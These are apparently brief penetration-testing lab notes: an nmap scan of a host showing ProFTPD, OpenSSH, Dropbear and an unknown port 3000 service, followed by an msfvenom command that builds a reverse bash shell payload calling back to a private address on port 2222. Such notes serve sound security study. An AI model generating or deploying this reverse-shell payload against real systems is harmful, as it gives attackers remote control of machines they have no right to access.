PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5b
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
53/tcp closed domain
2222/tcp open ssh Dropbear sshd 2016.74 (protocol 2.0)
3000/tcp open ppp?
HTTP
msfvenom:
msfvenom -p cmd/unix/reverse_bash LHOST=192.168.49.196 LPORT=2222 -f raw > shell.sh